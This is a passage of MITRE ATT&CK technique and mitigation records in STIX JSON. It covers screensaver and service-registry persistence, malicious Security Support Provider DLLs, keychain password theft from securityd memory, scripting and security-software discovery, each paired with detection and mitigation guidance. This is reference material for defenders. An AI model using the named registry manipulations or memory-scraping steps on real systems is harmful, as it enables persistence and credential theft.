                    "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599"
                },
                {
                    "source_name": "Windows Commands JPCERT",
                    "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.",
                    "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html"
                },
                {
                    "source_name": "NSA MS AppLocker",
                    "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.",
                    "url": "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm"
                },
                {
                    "source_name": "Corio 2008",
                    "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.",
                    "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx"
                },
                {
                    "source_name": "TechNet Applocker vs SRP",
                    "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.",
                    "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx"
                }
            ],
            "spec_version": "2.1",
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            "id": "attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "created": "2017-05-31T21:31:25.060Z",
            "modified": "2018-01-17T12:56:55.080Z",
            "name": "Screen Capture",
            "description": "Adversaries may attempt to take screen captures of the desktop to gather information over the course of an operation. Screen capturing functionality may be included as a feature of a remote access tool used in post-compromise operations.\n\n===Mac===\n\nOn OSX, the native command <code>screencapture</code> is used to capture screenshots.\n\n===Linux===\n\nOn Linux, there is the native command <code>xwd</code>. (Citation: Antiquated Mac Malware)\n\nDetection: Monitoring for screen capture behavior will depend on the method used to obtain data from the operating system and write output files. Detection methods could include collecting information from unusual processes using API calls used to obtain image data, and monitoring for image files written to disk. The sensor data may need to be correlated with other events to identify malicious activity, depending on the legitimacy of this behavior within a given network environment.\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: API monitoring, Process monitoring, File monitoring",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "collection"
                }
            ],
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/wiki/Technique/T1113",
                    "external_id": "T1113"
                },
                {
                    "source_name": "Antiquated Mac Malware",
                    "description": "Thomas Reed. (2017, January 18). New Mac backdoor using antiquated code. Retrieved July 5, 2017.",
                    "url": "https://blog.malwarebytes.com/threat-analysis/2017/01/new-mac-backdoor-using-antiquated-code/"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
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            "x_mitre_data_sources": [
                "API monitoring",
                "Process monitoring",
                "File monitoring"
            ],
            "x_mitre_platforms": [
                "Linux",
                "macOS",
                "Windows"
            ],
            "spec_version": "2.1",
            "x_mitre_attack_spec_version": "2.1.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0"
        },
        {
            "type": "course-of-action",
            "id": "course-of-action--9da16278-c6c5-4410-8a6b-9c16ce8005b3",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "created": "2018-01-17T12:56:55.080Z",
            "modified": "2018-01-17T12:56:55.080Z",
            "name": "Screensaver Mitigation",
            "description": "Block .scr files from being executed from non-standard locations. Set Group Policy to force users to have a dedicated screensaver where local changes should not override the settings to prevent changes. Use Group Policy to disable screensavers if they are unnecessary. (Citation: TechNet Screensaver GP)",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/wiki/Technique/T1180",
                    "external_id": "T1180"
                },
                {
                    "source_name": "TechNet Screensaver GP",
                    "description": "Microsoft. (n.d.). Customizing the Desktop. Retrieved December 5, 2017.",
                    "url": "https://technet.microsoft.com/library/cc938799.aspx"
                }
            ],
            "spec_version": "2.1",
            "x_mitre_attack_spec_version": "2.1.0",
            "x_mitre_domains": [
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            "id": "attack-pattern--2892b9ee-ca9f-4723-b332-0dc6e843a8ae",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "created": "2018-01-16T16:13:52.465Z",
            "modified": "2018-01-17T12:56:55.080Z",
            "name": "Screensaver",
            "description": "Screensavers are programs that execute after a configurable time of user inactivity and consist of Portable Executable (PE) files with a .scr file extension. (Citation: Wikipedia Screensaver) The Windows screensaver application scrnsave.exe is located in <code>C:\\Windows\\System32\\</code> along with screensavers included with base Windows installations. The following screensaver settings are stored in the Registry (<code>HKCU\\Control Panel\\Desktop\\</code>) and could be manipulated to achieve persistence:\n\n*<code>SCRNSAVE.exe</code> - set to malicious PE path\n*<code>ScreenSaveActive</code> - set to '1' to enable the screensaver\n*<code>ScreenSaverIsSecure</code> - set to '0' to not require a password to unlock\n*<code>ScreenSaverTimeout</code> - sets user inactivity timeout before screensaver is executed\n\nAdversaries can use screensaver settings to maintain persistence by setting the screensaver to run malware after a certain timeframe of user inactivity. (Citation: ESET Gazer Aug 2017)\n\nDetection: Monitor process execution and command-line parameters of .scr files. Monitor changes to screensaver configuration changes in the Registry that may not correlate with typical user behavior.\n\nTools such as Sysinternals Autoruns can be used to detect changes to the screensaver binary path in the Registry. Suspicious paths and PE files may indicate outliers among legitimate screensavers in a network and should be investigated.\n\nPlatforms: Windows\n\nData Sources: Process Monitoring, Process command-line parameters, Windows Registry, File monitoring\n\nPermissions Required: User\n\nContributors: Bartosz Jerzman",
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                    "phase_name": "persistence"
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                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/wiki/Technique/T1180",
                    "external_id": "T1180"
                },
                {
                    "source_name": "Wikipedia Screensaver",
                    "description": "Wikipedia. (2017, November 22). Screensaver. Retrieved December 5, 2017.",
                    "url": "https://en.wikipedia.org/wiki/Screensaver"
                },
                {
                    "source_name": "ESET Gazer Aug 2017",
                    "description": "ESET. (2017, August). Gazing at Gazer: Turla\u2019s new second stage backdoor. Retrieved September 14, 2017.",
                    "url": "https://www.welivesecurity.com/wp-content/uploads/2017/08/eset-gazer.pdf"
                }
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                "File monitoring"
            ],
            "x_mitre_permissions_required": [
                "User"
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            "x_mitre_platforms": [
                "Windows"
            ],
            "spec_version": "2.1",
            "x_mitre_attack_spec_version": "2.1.0",
            "x_mitre_domains": [
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            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0"
        },
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            "type": "course-of-action",
            "id": "course-of-action--57019a80-8523-46b6-be7d-f763a15a2cc6",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "created": "2018-01-17T12:56:55.080Z",
            "modified": "2018-01-17T12:56:55.080Z",
            "name": "Scripting Mitigation",
            "description": "Turn off unused features or restrict access to scripting engines such as VBScript or scriptable administration frameworks such as PowerShell.",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/wiki/Technique/T1064",
                    "external_id": "T1064"
                }
            ],
            "spec_version": "2.1",
            "x_mitre_attack_spec_version": "2.1.0",
            "x_mitre_domains": [
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            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0"
        },
        {
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            "id": "attack-pattern--7fd87010-3a00-4da3-b905-410525e8ec44",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "created": "2017-05-31T21:30:51.733Z",
            "modified": "2018-01-17T12:56:55.080Z",
            "name": "Scripting",
            "description": "Adversaries may use scripts to aid in operations and perform multiple actions that would otherwise be manual. Scripting is useful for speeding up operational tasks and reducing the time required to gain access to critical resources. Some scripting languages may be used to bypass process monitoring mechanisms by directly interacting with the operating system at an API level instead of calling other programs. Common scripting languages for Windows include VBScript and PowerShell but could also be in the form of command-line batch scripts.\n\nMany popular offensive frameworks exist which use forms of scripting for security testers and adversaries alike.  (Citation: Metasploit) (Citation: Metasploit),  (Citation: Veil) (Citation: Veil), and PowerSploit (Citation: Powersploit) are three examples that are popular among penetration testers for exploit and post-compromise operations and include many features for evading defenses. Some adversaries are known to use PowerShell. (Citation: Alperovitch 2014)\n\nDetection: Scripting may be common on admin, developer, or power user systems, depending on job function. If scripting is restricted for normal users, then any attempts to enable scripts running on a system would be considered suspicious. If scripts are not commonly used on a system, but enabled, scripts running out of cycle from patching or other administrator functions are suspicious. Scripts should be captured from the file system when possible to determine their actions and intent.\n\nScripts are likely to perform actions with various effects on a system that may generate events, depending on the types of monitoring used. Monitor processes and command-line arguments for script execution and subsequent behavior. Actions may be related to network and system information Discovery, Collection, or other scriptable post-compromise behaviors and could be used as indicators of detection leading back to the source script.\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: Process monitoring, File monitoring, Process command-line parameters\n\nDefense Bypassed: Process whitelisting",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "execution"
                }
            ],
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/wiki/Technique/T1064",
                    "external_id": "T1064"
                },
                {
                    "source_name": "Metasploit",
                    "description": "Metasploit. (n.d.).  Retrieved December 4, 2014.",
                    "url": "http://www.metasploit.com"
                },
                {
                    "source_name": "Veil",
                    "description": "Veil Framework. (n.d.).  Retrieved December 4, 2014.",
                    "url": "https://www.veil-framework.com/framework/"
                },
                {
                    "source_name": "Powersploit",
                    "description": "PowerSploit. (n.d.).  Retrieved December 4, 2014.",
                    "url": "https://github.com/mattifestation/PowerSploit"
                },
                {
                    "source_name": "Alperovitch 2014",
                    "description": "Alperovitch, D. (2014, July 7). Deep in Thought: Chinese Targeting of National Security Think Tanks. Retrieved November 12, 2014.",
                    "url": "https://blog.crowdstrike.com/deep-thought-chinese-targeting-national-security-think-tanks/"
                }
            ],
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "x_mitre_data_sources": [
                "Process monitoring",
                "File monitoring",
                "Process command-line parameters"
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            "x_mitre_defense_bypassed": [
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            "x_mitre_platforms": [
                "Linux",
                "macOS",
                "Windows"
            ],
            "spec_version": "2.1",
            "x_mitre_attack_spec_version": "2.1.0",
            "x_mitre_domains": [
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            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0"
        },
        {
            "type": "course-of-action",
            "id": "course-of-action--bd2554b8-634f-4434-a986-9b49c29da2ae",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "created": "2018-01-17T12:56:55.080Z",
            "modified": "2018-01-17T12:56:55.080Z",
            "name": "Security Software Discovery Mitigation",
            "description": "Identify unnecessary system utilities or potentially malicious software that may be used to acquire information about local security software, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/wiki/Technique/T1063",
                    "external_id": "T1063"
                },
                {
                    "source_name": "Beechey 2010",
                    "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.",
                    "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599"
                },
                {
                    "source_name": "Windows Commands JPCERT",
                    "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.",
                    "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html"
                },
                {
                    "source_name": "NSA MS AppLocker",
                    "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.",
                    "url": "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm"
                },
                {
                    "source_name": "Corio 2008",
                    "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.",
                    "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx"
                },
                {
                    "source_name": "TechNet Applocker vs SRP",
                    "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.",
                    "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx"
                }
            ],
            "spec_version": "2.1",
            "x_mitre_attack_spec_version": "2.1.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0"
        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--241814ae-de3f-4656-b49e-f9a80764d4b7",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "created": "2017-05-31T21:30:51.330Z",
            "modified": "2018-01-17T12:56:55.080Z",
            "name": "Security Software Discovery",
            "description": "Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on the system. This may include things such as local firewall rules, anti-virus, and virtualization. These checks may be built into early-stage remote access tools.\n\n===Windows===\n\nExample commands that can be used to obtain security software information are netsh, <code>reg query</code> with Reg, <code>dir</code> with cmd, and Tasklist, but other indicators of discovery behavior may be more specific to the type of software or security system the adversary is looking for.\n\n===Mac===\n\nIt's becoming more common to see macOS malware perform checks for LittleSnitch and KnockKnock software.\n\nDetection: System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as lateral movement, based on the information obtained.\n\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell.\n\nPlatforms: macOS, Windows\n\nData Sources: File monitoring, Process command-line parameters, Process monitoring\n\nPermissions Required: User, Administrator, SYSTEM",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "discovery"
                }
            ],
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/wiki/Technique/T1063",
                    "external_id": "T1063"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "x_mitre_data_sources": [
                "File monitoring",
                "Process command-line parameters",
                "Process monitoring"
            ],
            "x_mitre_platforms": [
                "macOS",
                "Windows"
            ],
            "x_mitre_permissions_required": [
                "User",
                "Administrator",
                "SYSTEM"
            ],
            "spec_version": "2.1",
            "x_mitre_attack_spec_version": "2.1.0",
            "x_mitre_domains": [
                "enterprise-attack"
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            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0"
        },
        {
            "type": "course-of-action",
            "id": "course-of-action--9e57c770-5a39-49a2-bb91-253ba629e3ac",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "created": "2018-01-17T12:56:55.080Z",
            "modified": "2018-01-17T12:56:55.080Z",
            "name": "Security Support Provider Mitigation",
            "description": "Windows 8.1, Windows Server 2012 R2, and later versions may make LSA run as a Protected Process Light (PPL) by setting the Registry key <code>HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\RunAsPPL</code>, which requires all SSP DLLs to be signed by Microsoft. (Citation: Graeber 2014) (Citation: Microsoft Configure LSA)",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/wiki/Technique/T1101",
                    "external_id": "T1101"
                },
                {
                    "source_name": "Graeber 2014",
                    "description": "Graeber, M. (2014, October). Analysis of Malicious Security Support Provider DLLs. Retrieved March 1, 2017.",
                    "url": "http://docplayer.net/20839173-Analysis-of-malicious-security-support-provider-dlls.html"
                },
                {
                    "source_name": "Microsoft Configure LSA",
                    "description": "Microsoft. (2013, July 31). Configuring Additional LSA Protection. Retrieved June 24, 2015.",
                    "url": "https://technet.microsoft.com/en-us/library/dn408187.aspx"
                }
            ],
            "spec_version": "2.1",
            "x_mitre_attack_spec_version": "2.1.0",
            "x_mitre_domains": [
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            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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        },
        {
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            "id": "attack-pattern--6c174520-beea-43d9-aac6-28fb77f3e446",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "created": "2017-05-31T21:31:13.447Z",
            "modified": "2018-01-17T12:56:55.080Z",
            "name": "Security Support Provider",
            "description": "Windows Security Support Provider (SSP) DLLs are loaded into the Local Security Authority (LSA) process at system start. Once loaded into the LSA, SSP DLLs have access to encrypted and plaintext passwords that are stored in Windows, such as any logged-on user's Domain password or smart card PINs. The SSP configuration is stored in two Registry keys: <code>HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\Security Packages</code> and <code>HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\OSConfig\\Security Packages</code>. An adversary may modify these Registry keys to add new SSPs, which will be loaded the next time the system boots, or when the AddSecurityPackage Windows API function is called.\n (Citation: Graeber 2014)\n\nDetection: Monitor the Registry for changes to the SSP Registry keys. Monitor the LSA process for DLL loads. Windows 8.1 and Windows Server 2012 R2 may generate events when unsigned SSP DLLs try to load into the LSA by setting the Registry key <code>HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\LSASS.exe</code> with AuditLevel = 8. (Citation: Graeber 2014) (Citation: Microsoft Configure LSA)\n\nPlatforms: Windows\n\nData Sources: DLL monitoring, Windows Registry, Loaded DLLs\n\nPermissions Required: Administrator",
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                    "phase_name": "persistence"
                }
            ],
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                {
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                    "url": "https://attack.mitre.org/wiki/Technique/T1101",
                    "external_id": "T1101"
                },
                {
                    "source_name": "Graeber 2014",
                    "description": "Graeber, M. (2014, October). Analysis of Malicious Security Support Provider DLLs. Retrieved March 1, 2017.",
                    "url": "http://docplayer.net/20839173-Analysis-of-malicious-security-support-provider-dlls.html"
                },
                {
                    "source_name": "Microsoft Configure LSA",
                    "description": "Microsoft. (2013, July 31). Configuring Additional LSA Protection. Retrieved June 24, 2015.",
                    "url": "https://technet.microsoft.com/en-us/library/dn408187.aspx"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "x_mitre_data_sources": [
                "DLL monitoring",
                "Windows Registry",
                "Loaded DLLs"
            ],
            "x_mitre_permissions_required": [
                "Administrator"
            ],
            "x_mitre_platforms": [
                "Windows"
            ],
            "spec_version": "2.1",
            "x_mitre_attack_spec_version": "2.1.0",
            "x_mitre_domains": [
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            ],
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0"
        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--2715c335-1bf2-4efe-9f18-0691317ff83b",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "created": "2017-12-14T16:46:06.044Z",
            "modified": "2018-01-17T12:56:55.080Z",
            "name": "Securityd Memory",
            "description": "In OS X prior to El Capitan, users with root access can read plaintext keychain passwords of logged-in users because Apple\u2019s keychain implementation allows these credentials to be cached so that users are not repeatedly prompted for passwords. (Citation: OS X Keychain) (Citation: External to DA, the OS X Way) Apple\u2019s securityd utility takes the user\u2019s logon password, encrypts it with PBKDF2, and stores this master key in memory. Apple also uses a set of keys and algorithms to encrypt the user\u2019s password, but once the master key is found, an attacker need only iterate over the other values to unlock the final password. (Citation: OS X Keychain)\n\nIf an adversary can obtain root access (allowing them to read securityd\u2019s memory), then they can scan through memory to find the correct sequence of keys in relatively few tries to decrypt the user\u2019s logon keychain. This provides the adversary with all the plaintext passwords for users, WiFi, mail, browsers, certificates, secure notes, etc. (Citation: OS X Keychain) (Citation: OSX Keydnap malware)\n\nPlatforms: macOS\n\nData Sources: Process Monitoring\n\nPermissions Required: root",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "credential-access"
                }
            ],
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/wiki/Technique/T1167",
                    "external_id": "T1167"
                },
                {
                    "source_name": "OS X Keychain",
                    "description": "Juuso Salonen. (2012, September 5). Breaking into the OS X keychain. Retrieved July 15, 2017.",
                    "url": "http://juusosalonen.com/post/30923743427/breaking-into-the-os-x-keychain"
                },
                {
                    "source_name": "External to DA, the OS X Way",
                    "description": "Alex Rymdeko-Harvey, Steve Borosh. (2016, May 14). External to DA, the OS X Way. Retrieved July 3, 2017.",
                    "url": "http://www.slideshare.net/StephanBorosh/external-to-da-the-os-x-way"
                },
                {
                    "source_name": "OSX Keydnap malware",
                    "description": "Marc-Etienne M.Leveille. (2016, July 6). New OSX/Keydnap malware is hungry for credentials. Retrieved July 3, 2017.",
                    "url": "https://www.welivesecurity.com/2016/07/06/new-osxkeydnap-malware-hungry-credentials/"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "x_mitre_data_sources": [
                "Process Monitoring"
            ],
            "x_mitre_platforms": [
                "macOS"
            ],
            "x_mitre_permissions_required": [
                "root"
            ],
            "spec_version": "2.1",
            "x_mitre_attack_spec_version": "2.1.0",
            "x_mitre_domains": [
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            ],
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0"
        },
        {
            "type": "course-of-action",
            "id": "course-of-action--d5dce4b9-f1fa-4c03-aff9-ce177246cb64",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "created": "2018-01-17T12:56:55.080Z",
            "modified": "2018-01-17T12:56:55.080Z",
            "name": "Service Execution Mitigation",
            "description": "Ensure that permissions disallow services that run at a higher permissions level from being created or interacted with by a user with a lower permission level. Also ensure that high permission level service binaries cannot be replaced or modified by users with a lower permission level.\n\nIdentify unnecessary system utilities or potentially malicious software that may be used to interact with Windows services, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/wiki/Technique/T1035",
                    "external_id": "T1035"
                },
                {
                    "source_name": "Beechey 2010",
                    "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.",
                    "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599"
                },
                {
                    "source_name": "Windows Commands JPCERT",
                    "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.",
                    "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html"
                },
                {
                    "source_name": "NSA MS AppLocker",
                    "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.",
                    "url": "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm"
                },
                {
                    "source_name": "Corio 2008",
                    "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.",
                    "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx"
                },
                {
                    "source_name": "TechNet Applocker vs SRP",
                    "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.",
                    "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx"
                }
            ],
            "spec_version": "2.1",
            "x_mitre_attack_spec_version": "2.1.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0"
        },
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            "id": "attack-pattern--f44731de-ea9f-406d-9b83-30ecbb9b4392",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "created": "2017-05-31T21:30:36.550Z",
            "modified": "2018-01-17T12:56:55.080Z",
            "name": "Service Execution",
            "description": "Adversaries may execute a binary, command, or script via a method that interacts with Windows services, such as the Service Control Manager. This can be done by either creating a new service or modifying an existing service. This technique is the execution used in conjunction with New Service and Modify Existing Service during service persistence or privilege escalation.\n\nDetection: Changes to service Registry entries and command-line invocation of tools capable of modifying services that do not correlate with known software, patch cycles, etc., may be suspicious. If a service is used only to execute a binary or script and not to persist, then it will likely be changed back to its original form shortly after the service is restarted so the service is not left broken, as is the case with the common administrator tool PsExec.\n\nPlatforms: Windows\n\nData Sources: Windows Registry, Process command-line parameters, Process monitoring\n\nPermissions Required: Administrator, SYSTEM\n\nRemote Support: Yes",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "execution"
                }
            ],
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                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/wiki/Technique/T1035",
                    "external_id": "T1035"
                }
            ],
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
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                "Windows Registry",
                "Process command-line parameters",
                "Process monitoring"
            ],
            "x_mitre_permissions_required": [
                "Administrator",
                "SYSTEM"
            ],
            "x_mitre_remote_support": true,
            "x_mitre_platforms": [
                "Windows"
            ],
            "spec_version": "2.1",
            "x_mitre_attack_spec_version": "2.1.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0"
        },
        {
            "type": "course-of-action",
            "id": "course-of-action--9378f139-10ef-4e4b-b679-2255a0818902",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "created": "2018-01-17T12:56:55.080Z",
            "modified": "2018-01-17T12:56:55.080Z",
            "name": "Service Registry Permissions Weakness Mitigation",
            "description": "Ensure proper permissions are set for Registry hives to prevent users from modifying keys for system components that may lead to privilege escalation.\n\nIdentify and block potentially malicious software that may be executed through service abuse by using whitelisting (Citation: Beechey 2010) tools like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) that are capable of auditing and/or blocking unknown programs.",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/wiki/Technique/T1058",
                    "external_id": "T1058"
                },
                {
                    "source_name": "Beechey 2010",
                    "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.",
                    "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599"
                },
                {
                    "source_name": "Windows Commands JPCERT",
                    "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.",
                    "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html"
                },
                {
                    "source_name": "NSA MS AppLocker",
                    "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.",
                    "url": "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm"
                }
            ],
            "spec_version": "2.1",
            "x_mitre_attack_spec_version": "2.1.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0"
        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--39a130e1-6ab7-434a-8bd2-418e7d9d6427",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "created": "2017-05-31T21:30:49.119Z",
            "modified": "2018-01-17T12:56:55.080Z",
            "name": "Service Registry Permissions Weakness",
            "description": "Windows stores local service configuration information in the Registry under <code>HKLM\\SYSTEM\\CurrentControlSet\\Services</code>. The information stored under a service's Registry keys can be manipulated to modify a service's execution parameters through tools such as the service controller, sc.exe, PowerShell, or Reg. Access to Registry keys is controlled through Access Control Lists and permissions. (Citation: MSDN Registry Key Security)\n\nIf the permissions for users and groups are not properly set and allow access to the Registry keys for a service, then adversaries can change the service binPath/ImagePath to point to a different executable under their control. When the service starts or is restarted, then the adversary-controlled program will execute, allowing the adversary to gain persistence and/or privilege escalation to the account context the service is set to execute under (local/domain account, SYSTEM, LocalService, or NetworkService).\n\nDetection: Service changes are reflected in the Registry. Modification to existing services should not occur frequently. If a service binary path is changed to a location that is not typical for that service and does not correlate with software updates, then it may be due to malicious activity. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.\n\nTools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing current service information. (Citation: TechNet Autoruns) Look for changes to services that do not correlate with known software, patch cycles, etc. Suspicious program execution through services may show up as outlier processes that have not been seen before when compared against historical data.\n\nMonitor processes and command-line arguments for actions that could be done to modify services. Remote access tools with built-in features may interact directly with the Windows API to perform these functions outside of typical system utilities. Services may also be changed through Windows system management tools such as Windows Management Instrumentation and PowerShell, so additional logging may need to be configured to gather the appropriate data.\n\nPlatforms: Windows\n\nData Sources: Process command-line parameters, 